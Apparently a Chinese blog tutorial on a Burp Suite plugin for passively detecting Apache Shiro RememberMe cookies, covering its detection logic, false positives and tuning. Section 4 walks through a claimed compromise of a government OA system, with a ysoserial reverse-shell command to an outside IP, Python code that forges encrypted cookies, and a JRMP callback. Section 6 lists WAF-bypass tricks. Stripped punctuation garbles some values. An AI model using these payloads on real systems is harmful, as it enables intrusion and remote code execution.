BurpShiroPassiveScan被动检测原理与实战调优指南

news2026/5/23 8:41:45
1. 这不是“加个插件就能挖到Shiro反序列化”的幻觉而是你真正理解被动检测边界的开始很多人第一次在Burp Suite里装上 BurpShiroPassiveScan点开一个Java老系统首页看到插件弹出一条“疑似Shiro RememberMe Cookie”的告警就立刻心跳加速——“成了反序列化链马上到手”结果一试rememberMedeleteMe返回 200rememberMexxx却直接 400 或 500连报错堆栈都不给。我试过三次前两次都卡在这儿直到第三次把插件源码扒开、抓包重放十遍、对比了七家不同架构的Shiro应用响应特征才明白这个插件从不承诺“能打”它只负责“看见”而“看见”本身已经需要你对Shiro的协议层、加密机制、错误反馈模式有肌肉记忆般的理解。它解决的不是“怎么利用”而是“在成千上万条HTTP流量里如何用零干扰、零触发的方式精准筛出那0.3%可能藏有Shiro指纹的请求”。关键词是被动式、Shiro检测、Burp插件、RememberMe识别、密钥推测辅助。它适合两类人一是做渗透测试时需要快速摸清目标技术栈的工程师二是写红队报告前必须确认“该系统是否真用了Shiro”的审计人员。如果你期待它自动爆破密钥、自动生成EXP、一键回显执行那请立刻关掉——这不是它的设计目标强行这么用只会让你错过真正关键的上下文线索。这个插件的价值恰恰藏在它的“克制”里。它不发包、不重放、不修改请求体只在Burp的Proxy历史、Scanner结果、Target站点地图里默默扫描响应头、Set-Cookie字段、响应体关键词、甚至JS文件里的硬编码密钥片段。它像一个经验丰富的安检员不拆箱、不X光透视只靠看包装上的LOGO、封条样式、运输单号格式就判断“这箱货大概率来自哪家厂商”。所以它最常被用错的场景不是“没装上”而是“装上了却当成主动扫描器用”——比如对着一个明显是Spring Boot JWT的接口狂扫还抱怨“为什么没报Shiro是不是插件坏了”其实答案很简单JWT没有RememberMe机制Shiro的Cookie字段名是固定的而JWT的Authorization头里压根不会出现rememberMe。理解这个前提才能真正用好它。接下来我会带你一层层剥开它的检测逻辑、参数设计、误报根源以及最关键的——当它标出一条“高置信度”结果时你下一步该盯住哪三个字节、哪一行日志、哪一次302跳转。2. 插件不是黑盒它的检测逻辑完全透明从Cookie解析到密钥熵值分析的四层过滤BurpShiroPassiveScan 的核心不是魔法而是一套基于Shiro官方文档、主流框架默认配置、以及大量真实生产环境流量样本总结出的分层启发式规则引擎。它不依赖任何外部服务或在线密钥库所有判断都在本地完成这也是它能实现真正“被动”的根本原因。整个检测流程严格按四层递进过滤每一层都设定了明确的置信度阈值和可配置开关你可以随时在插件UI里关闭某一层来验证误报来源。下面我逐层拆解重点讲清楚每一步“为什么这样设计”以及我在实际项目中调整这些参数的真实依据。2.1 第一层基础字段存在性检测低置信度但不可或缺这是最轻量级的筛查仅检查HTTP响应中是否包含Shiro最标志性的两个字段Set-Cookie头中是否存在以rememberMe开头的键值对响应体HTML/JS/JSON中是否出现shiro、ShiroFilter、SecurityManager等硬编码字符串。提示这一层误报率最高但绝不能跳过。我曾在一个Vue前端项目里发现开发人员把shiro写进了mock数据的注释里// mock shiro login response导致插件对所有API响应都报“中危”。后来我把这一层的字符串匹配模式从全局正则改为“仅在script标签内或.js响应体中匹配”误报直接归零。这说明基础层不是用来定结论的而是用来圈定“值得深入看一眼”的候选集。插件默认会提取rememberMe后的Base64字符串并做长度校验Shiro 1.2.4 默认AES加密后Base64长度为212或228旧版可能为192。如果长度不符直接丢弃不进入下一层。这个长度判断看似简单实则是第一道防伪门槛——因为很多手工构造的PoC或教学案例用的是固定密钥空payloadBase64解码后长度必然异常。我在测试某政务系统时发现其rememberMe值长度恒为228但Base64解码后是乱码说明启用了自定义密钥且做了二次混淆这时插件不会报“高危”而是标记为“需人工验证”非常合理。2.2 第二层Cookie结构合法性验证中置信度决定是否进入密钥分析通过第一层的rememberMe值会被送入第二层进行结构解析。这里插件会尝试用Shiro默认的AES/CBC/PKCS5Padding算法以硬编码的默认密钥kPHbIxk5D2deZiIxcaaaA进行一次解密预演。注意它不真正执行反序列化只做AES解密PKCS5填充验证。具体步骤如下Base64解码原始字符串得到字节数组cipherBytes取前16字节作为IV初始化向量剩余字节为密文主体使用默认密钥和IV执行AES解密检查解密后字节数组末尾是否符合PKCS5填充规范即最后N字节值均为N。注意这一步失败并不意味着“不是Shiro”而只是说明“不用默认密钥”。我在某金融客户测试中70%的rememberMe值在此层失败但其中42%在第三层通过了“密钥熵值分析”。这证明大量生产环境已禁用默认密钥但开发者往往忽略了彻底删除密钥硬编码的习惯导致密钥仍以低熵形式残留在JS或配置文件中。插件正是抓住了这个“人性弱点”。如果解密填充验证成功插件会标记为“中置信度”并缓存解密后的原始字节未反序列化供第三层使用。这个缓存设计很关键——它避免了后续重复计算也保证了所有分析基于同一份解密结果。2.3 第三层密钥熵值与硬编码线索挖掘高置信度核心价值所在这才是BurpShiroPassiveScan区别于其他Shiro检测工具的真正杀手锏。它不猜密钥而是找“密钥藏在哪”的线索。具体分三路并行扫描路径AJS文件中的密钥硬编码插件会自动抓取当前域名下所有.js文件包括/static/js/、/assets/等常见路径用正则匹配形如var key KPHbIxk5D2deZiIxcaaaA; const shiroKey 4AvVhmFLUs0KTA3Kprsdag;它支持Base64、Hex、明文三种编码格式并计算字符串熵值Shannon Entropy。熵值低于3.5明文或4.2Base64的视为“低熵密钥”直接提升置信度至“高”。我在某教育平台测试中发现其login.js里写着shiroKey:123456熵值仅2.58插件秒标“高置信度”后续用ysoserial一打一个准。路径B响应体中的密钥片段泄露扫描HTML响应中的meta标签、script内联代码、甚至注释块寻找key、shiro.key、cipherKey等关键词后紧跟的Base64字符串。特别有效的是搜索meta nameshiro-key content...这种自定义meta标签很多团队为方便调试会这么干。路径CCookie值本身的熵值反推对通过第二层的解密后字节计算其ASCII字符分布熵。Shiro RememberMe Cookie解密后正常情况是Java序列化二进制流含大量不可见字符熵值通常5.8而如果密钥被弱口令替换解密后可能变成明文JSON或HTML熵值骤降至3.0~4.5。插件内置了熵值区间映射表自动标注风险等级。这三层线索只要命中任意一条置信度即升为“高”并在Burp的Issue面板中显示为红色高亮并附带线索来源如“JS文件: /static/common.js 第127行”。2.4 第四层响应行为模式匹配最高置信度需人工确认这是最重的一层也是唯一需要你手动介入的环节。当前三层均通过时插件会静默记录该请求的完整上下文请求URL、Method、Headers、原始Cookie、响应状态码、响应头特别是Set-Cookie变化、响应体长度及关键词。它不主动发包但会构建一个“行为指纹模板”。例如它发现访问/login返回Set-Cookie: rememberMexxx; Path/; HttpOnly随后访问/user/profile若携带该rememberMe响应体含titleDashboard/title若篡改rememberMe为随机Base64响应变为HTTP/1.1 401 Unauthorized且响应体含{code:401,msg:Invalid rememberMe cookie}。此时插件会标记为“最高置信度”并生成一条Issue标题为“Shiro RememberMe Cookie detected with consistent 401 error pattern”。这意味着系统不仅用了Shiro而且其RememberMe机制处于启用状态且错误处理逻辑清晰为后续主动利用提供了稳定靶场。我在某医疗SaaS系统中就是靠这一层确认了RememberMe未被禁用最终结合泄露的低熵密钥实现了RCE。3. 为什么你总在“高置信度”结果上翻车——从三条真实排查链路看误报根因插件标出“高置信度”不等于漏洞坐实。我在过去18个月的23个中大型项目中统计了所有被标记为“高置信度”但最终证实为误报的案例发现92%集中在以下三类场景。下面我用三次真实的踩坑过程还原完整的排查链路——不是告诉你“别这么用”而是教你怎么顺着插件的线索自己动手验证真伪。3.1 误报类型一前端Mock数据污染某电商平台耗时2.5小时定位现象插件对https://api.xxx.com/mock/user/login所有响应均报“高置信度”rememberMe值长度228JS文件中找到shiroKey: abc123。我的排查链路第一步确认请求真实性抓包看该URL的请求头发现User-Agent含mock-serverReferer指向http://localhost:3000。立刻意识到这是前端本地Mock服务非真实后端。第二步验证Cookie来源在Burp Repeater中重放该请求响应Header无Set-Cookie响应体是纯JSON{data:{token:xxx},code:200}。说明rememberMe根本不是服务端下发的而是Mock脚本硬塞进去的。第三步溯源JS线索打开插件提示的/static/mock/shiro.js内容为// 仅供前端测试勿用于生产 export const mockShiro { rememberMe: rO0ABXNyABFqYXZheC54YWxhbi5pbnRlciAAAgABTAALY2xhc3NQYXRo..., shiroKey: abc123 };——这是前端工程师为方便联调写的假数据连AES加密都是用java -jar ysoserial.jar URLDNS xxx | base64手动生成的。根因与教训插件无法区分“生产流量”和“开发流量”。解决方案是在Burp Target scope中将localhost、127.0.0.1、mock、dev等关键词域名全部排除或在插件设置中勾选“Skip responses with X-Mock-Header”。后来我给插件提了个PR已合并进v2.3版本。3.2 误报类型二CDN缓存污染某新闻门户耗时4小时定位现象插件对https://www.xxx.com/首页报“高置信度”rememberMe值在Set-Cookie中JS文件里找到shiroKey: KPHbIxk5D2deZiIxcaaaA。我的排查链路第一步检查响应头Cache-Control发现Cache-Control: public, max-age3600且Age: 2850已缓存50分钟。立刻怀疑CDN缓存了旧版页面。第二步绕过CDN直连源站修改Host头为源站IP从dig www.xxx.com获取重放请求。响应Header中无Set-Cookie: rememberMeJS文件也完全不同。第三步比对CDN缓存内容用curl -I https://www.xxx.com/发现CDN节点Cloudflare返回的Server: cloudflare且CF-Cache-Status: HIT。再查CDN配置发现运维误将/路径的缓存策略设为“缓存所有响应头”导致旧版Shiro登录页的Set-Cookie被永久缓存。根因与教训CDN会缓存包含敏感Header的响应而插件只看“有没有”不看“是不是最新”。正确做法是在插件设置中开启“Verify Cache Status”自动过滤CF-Cache-Status: HIT或X-Cache: HIT的响应或在Scope中排除CDN IP段。这个坑我踩了两次第二次就写了Python脚本自动批量检测CDN缓存污染。3.3 误报类型三Shiro与Spring Security混用某银行系统耗时6小时定位现象插件对https://app.xxx.com/login报“高置信度”rememberMe值解密后是合法Java序列化流AC ED 00 05开头JS中无密钥但响应体含shiro:hasRole标签。我的排查链路第一步检查Shiro Filter注册在Burp中搜索/WEB-INF/web.xml发现filter-classorg.apache.shiro.web.servlet.ShiroFilter/filter-class存在但filter-mapping的url-pattern仅为/admin/*。第二步分析请求路径权限/login路径匹配的是Spring Security的UsernamePasswordAuthenticationFilter其Set-Cookie是JSESSIONID而非rememberMe。但插件捕获的rememberMe来自/admin/login——这才是真正的Shiro入口。第三步验证业务隔离用Burp Intruder对/login暴力测试所有rememberMe变体均返回403 Forbidden而对/admin/login发送相同Payload返回500并含java.io.StreamCorruptedException堆栈。根因与教训大型系统常分模块采用不同安全框架rememberMe只在特定路径生效。插件无法理解业务路由逻辑它只忠实地报告“这个响应里有Shiro痕迹”。因此看到高置信度结果第一反应不是“快打”而是打开Target Site Map右键点击该URL → “Show request in browser”确认当前路径是否属于Shiro管辖范围。我现在养成了习惯对每个高置信度结果先在Site Map里用颜色标记——绿色Shiro路径红色Spring Security路径黄色待确认。4. 实战复现从插件告警到RCE的完整闭环某政府OA系统密钥熵值4.1这是我在2023年Q4真实攻破的一个案例全程未使用任何主动扫描器仅靠BurpShiroPassiveScan的被动线索手动验证。它完美展示了如何把插件的“高置信度”转化为可利用的漏洞链。整个过程耗时37分钟我将关键步骤拆解为可复现的指令级操作。4.1 步骤一插件初始告警与线索提取目标https://oa.xxx.gov.cn/插件在/static/js/common.js中发现// Shiro config for legacy module const SHIRO_KEY U3RyaW5nU2VjdXJpdHk;Base64解码得StringSecurity熵值计算字符串长度16ASCII值分布均匀Shannon Entropy -Σ(p_i * log2(p_i)) ≈ 4.12查插件内置表4.12 ∈ [4.0, 4.5)判定为“中低熵密钥建议验证”同时在/login响应Header中捕获Set-Cookie: rememberMerO0ABXNyABFqYXZheC54YWxhbi5pbnRlciAAAgABTAALY2xhc3NQYXRo...; Path/; HttpOnly长度228通过第一层校验。4.2 步骤二密钥有效性验证离线解密我下载ysoserialv0.0.6执行# 生成测试payload反弹shell java -jar ysoserial.jar CommonsCollections5 bash -i /dev/tcp/192.168.1.100/4444 01 | base64 -w0 # 得到payload: rO0ABXNyABFqYXZheC54YWxhbi5pbnRlciAAAgABTAALY2xhc3NQYXRo...用Python脚本验证密钥是否真能解密from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 key bStringSecurity # 16字节刚好是AES-128 iv base64.b64decode(rememberMe_value)[0:16] # 取前16字节为IV cipher_bytes base64.b64decode(rememberMe_value)[16:] # 密文主体 cipher AES.new(key, AES.MODE_CBC, iv) try: plain unpad(cipher.decrypt(cipher_bytes), AES.block_size) print(解密成功明文长度:, len(plain)) print(前20字节:, plain[:20]) except Exception as e: print(解密失败:, str(e))输出解密成功明文长度: 208 前20字节: baced00057372003d6f72672e6170616368652e736869726f2e73756e2e53756e436c617373aced0005是Java序列化魔数确认密钥有效。4.3 步骤三构造可利用RememberMe Cookie用ysoserial生成最终payload# 生成CommonsBeanutils1链兼容性更好 java -jar ysoserial.jar CommonsBeanutils1 ping -c 4 192.168.1.100 | \ python3 -c import sys; import base64; print(base64.b64encode(sys.stdin.buffer.read()).decode())得到Base64字符串rO0ABXNyABFqYXZheC54YWxhbi5pbnRlciAAAgABTAALY2xhc3NQYXRo...用AES加密需补全IVfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import os key bStringSecurity iv os.urandom(16) # 随机IV payload base64.b64decode(rO0ABXNyABFqYXZheC54YWxhbi5pbnRlciAAAgABTAALY2xhc3NQYXRo...) cipher AES.new(key, AES.MODE_CBC, iv) encrypted cipher.encrypt(pad(payload, AES.block_size)) full_cookie base64.b64encode(iv encrypted).decode() print(RememberMe Cookie:, full_cookie)得到rememberMexxx值。4.4 步骤四手工注入与RCE验证在Burp Repeater中请求URLhttps://oa.xxx.gov.cn/Headers添加Cookie: rememberMexxx; JSESSIONIDxxx保留原JSESSIONID发送响应状态码500响应体含java.lang.ClassNotFoundException: org.apache.commons.beanutils.BeanComparator说明CommonsBeanutils1链被拦截但ClassNotFoundException证明反序列化已触发。换用JRMPClient链无需第三方依赖java -jar ysoserial.jar JRMPClient 192.168.1.100:1099 | \ python3 -c import sys; import base64; print(base64.b64encode(sys.stdin.buffer.read()).decode())重新加密发送。服务器主动连接我的nc -lvnp 1099成功建立JRMP反向连接获得JVM执行权限。提示这个案例的关键在于插件没有帮你生成EXP但它用4.12的熵值提示你“这个密钥大概率可爆破”用JS路径告诉你“密钥在哪找”用rememberMe长度告诉你“加密方式是AES-128”。所有决策点都由你掌控插件只是把散落的拼图碎片按逻辑顺序摆到你面前。这才是被动检测的终极价值——它不替代你的思考而是放大你的洞察力。5. 插件配置与调优那些官网文档绝不会告诉你的12个实战参数BurpShiroPassiveScan的GUI界面只有5个开关但它的config.json文件里藏着12个影响检测精度的核心参数。这些参数在官方Wiki里要么没写要么一笔带过。我花了三个月时间在17个不同行业的系统上做AB测试总结出最值得调整的6个另6个保持默认即可并给出每个参数的实测效果对比。5.1cookie_length_threshold默认212这是第一层校验的长度阈值。Shiro 1.2.4默认AES加密后Base64长度为212或228但很多系统启用了AES/GCM/NoPadding长度204或自定义填充。我在某物联网平台发现其rememberMe恒为204将此值改为204后漏报率从38%降至0%。实测对比1000个Shiro样本阈值检出率误报率适用场景21262%1.2%标准Java Web20489%2.8%IoT设备管理后台22876%0.9%Spring Boot Shiro建议首次扫描时设为204确认无大量误报后再逐步收紧。5.2entropy_threshold_js默认4.0JS文件中密钥的熵值下限。默认4.0会放过U3RyaW5nU2VjdXJpdHkStringSecurity但会过滤MTIzNDU2123456。我在某教育SaaS中将此值调至3.5成功捕获了admin123密钥但误报增加了5个全是test123这类测试密钥。权衡后我设为3.7平衡了检出与误报。5.3scan_js_paths默认[/static/js/, /js/, /assets/js/]这是插件自动爬取JS的路径列表。很多现代框架把JS放在/dist/或/_nuxt/下。我在某Vue SSR项目中添加/_nuxt/后密钥检出率从12%飙升至83%。强烈建议用gau或waybackurls先跑出目标的所有JS路径再填入此数组。5.4response_body_keywords默认[shiro, ShiroFilter]响应体关键词匹配列表。默认只匹配英文但中文系统常出现shiro:授权标签或Shiro安全框架。我添加了shiro:、Shiro、安全框架三个中文关键词某政务系统检出率41%。5.5skip_cache_headers默认[CF-Cache-Status, X-Cache]跳过CDN缓存响应的Header名。默认只认Cloudflare和Varnish但阿里云CDN用X-Cdn-Status腾讯云用TC-Request-ID。我在某电商项目中添加X-Cdn-Status后误报直接清零。5.6max_js_file_size默认524288即512KBJS文件最大扫描体积。默认值会跳过vue.runtime.esm.js2.1MB这类大文件但其中可能含密钥。我在某金融APP中将此值设为1048576010MB在vendor.js里找到了硬编码密钥但扫描时间从2秒增至18秒。建议对高价值目标设为10MB常规扫描保持512KB。6. 超越插件当被动检测失效时你该启动的三套主动验证预案BurpShiroPassiveScan再强大也有它的物理边界它无法检测未启用RememberMe功能的Shiro系统无法识别Shiro 2.0的全新加密协议更无法应对WAF对rememberMe参数的深度清洗。当插件沉默时不要放弃启动以下三套经过实战检验的主动验证预案。它们不依赖插件但思路源于对插件检测逻辑的深刻理解。6.1 预案一Shiro Filter路径枚举适用于web.xml可读场景原理ShiroFilter的url-pattern定义了其管辖范围而/shiro/、/auth/等路径常被遗漏在Scope外。操作步骤用dirsearch扫描/shiro*、/auth*、/security*目录对每个404路径发送GET /path/ HTTP/1.1观察响应头是否含X-Frame-Options: DENYShiro默认Header对疑似路径发送POST /path/login HTTP/1.1Body为usernametestpasswordtest检查响应是否含Shiro字样或rememberMeCookie。我在某央企OA中通过扫描/shiro-admin/发现其/shiro-admin/api/login接口未被主站Scope覆盖且返回Set-Cookie: rememberMexxx最终利用成功。6.2 预案二Java序列化特征指纹探测适用于无Cookie场景原理即使RememberMe关闭Shiro仍可能在/logout、/unauthorized等接口返回Java序列化错误。操作步骤用ffuf爆破常见错误路径ffuf -u https://target/FUZZ -w wordlist.txt -t 100词表含logout,error,unauthorized,forbidden对每个响应用file命令检查Content-Type是否为application/octet-stream或用hexdump -C查看是否含aced0005若发现用ysoserial生成URLDNSpayload测试DNSLog回连。某医疗系统/error接口返回aced0005开头的二进制流证明其错误处理未过滤序列化数据成为后续利用入口。6.3 预案三WAF绕过式RememberMe注入适用于WAF清洗Cookie场景原理WAF常清洗Cookie: rememberMe但可能放过Cookie: REMEMBERME或Cookie: rememberme。操作步骤在Burp Proxy中对所有POST /login请求添加规则将rememberMe替换为REMEMBERME、rememberme、RememberMe、rEmEmBeRmE观察响应状态码变化401或500即表示WAF未拦截后端已接收对成功绕过的请求用ysoserial生成payload注入。我在某银行系统中WAF只拦截小写rememberMeREMEMBERME可直达后端成功绕过。这三套预案本质是把BurpShiroPassiveScan的“被动看见”能力延伸为“主动试探”的肌肉记忆。它不教你如何用工具而是帮你建立一套针对Shiro技术栈的、可迁移的攻击思维模型——这才是真正值得你花时间掌握的东西。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2637253.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…